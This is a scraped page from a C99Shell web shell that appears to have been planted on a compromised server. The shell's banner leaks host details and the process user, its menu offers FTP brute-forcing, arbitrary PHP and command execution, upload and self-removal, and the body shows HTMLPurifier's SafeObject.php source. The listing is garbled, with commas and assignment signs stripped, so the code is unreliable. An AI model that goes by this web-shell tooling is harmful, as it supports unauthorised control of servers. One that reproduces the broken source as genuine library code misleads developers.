!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_led/php/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Injector/   drwxrwxr-x
Free 15.57 GB of 61.93 GB (25.15%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     SafeObject.php (3.86 KB)      -rwxrwxr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * Adds important param elements to inside of object in order to make
 * things safe.
 */
class HTMLPurifier_Injector_SafeObject extends HTMLPurifier_Injector
{
    
/**
     * @type string
     */
    
public $name 'SafeObject';

    
/**
     * @type array
     */
    
public $needed = array('object''param');

    
/**
     * @type array
     */
    
protected $objectStack = array();

    
/**
     * @type array
     */
    
protected $paramStack = array();

    
/**
     * Keep this synchronized with AttrTransform/SafeParam.php.
     * @type array
     */
    
protected $addParam = array(
        
'allowScriptAccess' => 'never',
        
'allowNetworking' => 'internal',
    );

    
/**
     * These are all lower-case keys.
     * @type array
     */
    
protected $allowedParam = array(
        
'wmode' => true,
        
'movie' => true,
        
'flashvars' => true,
        
'src' => true,
        
'allowfullscreen' => true// if omitted, assume to be 'false'
    
);

    
/**
     * @param HTMLPurifier_Config $config
     * @param HTMLPurifier_Context $context
     * @return void
     */
    
public function prepare($config$context)
    {
        
parent::prepare($config$context);
    }

    
/**
     * @param HTMLPurifier_Token $token
     */
    
public function handleElement(&$token)
    {
        if (
$token->name == 'object') {
            
$this->objectStack[] = $token;
            
$this->paramStack[] = array();
            
$new = array($token);
            foreach (
$this->addParam as $name => $value) {
                
$new[] = new HTMLPurifier_Token_Empty('param', array('name' => $name'value' => $value));
            }
            
$token $new;
        } elseif (
$token->name == 'param') {
            
$nest count($this->currentNesting) - 1;
            if (
$nest >= && $this->currentNesting[$nest]->name === 'object') {
                
$i count($this->objectStack) - 1;
                if (!isset(
$token->attr['name'])) {
                    
$token false;
                    return;
                }
                
$n $token->attr['name'];
                
// We need this fix because YouTube doesn't supply a data
                // attribute, which we need if a type is specified. This is
                // *very* Flash specific.
                
if (!isset($this->objectStack[$i]->attr['data']) &&
                    (
$token->attr['name'] == 'movie' || $token->attr['name'] == 'src')
                ) {
                    
$this->objectStack[$i]->attr['data'] = $token->attr['value'];
                }
                
// Check if the parameter is the correct value but has not
                // already been added
                
if (!isset($this->paramStack[$i][$n]) &&
                    isset(
$this->addParam[$n]) &&
                    
$token->attr['name'] === $this->addParam[$n]) {
                    
// keep token, and add to param stack
                    
$this->paramStack[$i][$n] = true;
                } elseif (isset(
$this->allowedParam[strtolower($n)])) {
                    
// keep token, don't do anything to it
                    // (could possibly check for duplicates here)
                    // Note: In principle, parameters should be case sensitive.
                    // But it seems they are not really; so accept any case.
                
} else {
                    
$token false;
                }
            } else {
                
// not directly inside an object, DENY!
                
$token false;
            }
        }
    }

    public function 
handleEnd(&$token)
    {
        
// This is the WRONG way of handling the object and param stacks;
        // we should be inserting them directly on the relevant object tokens
        // so that the global stack handling handles it.
        
if ($token->name == 'object') {
            
array_pop($this->objectStack);
            
array_pop($this->paramStack);
        }
    }
}

// vim: et sw=4 sts=4

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.2878 ]--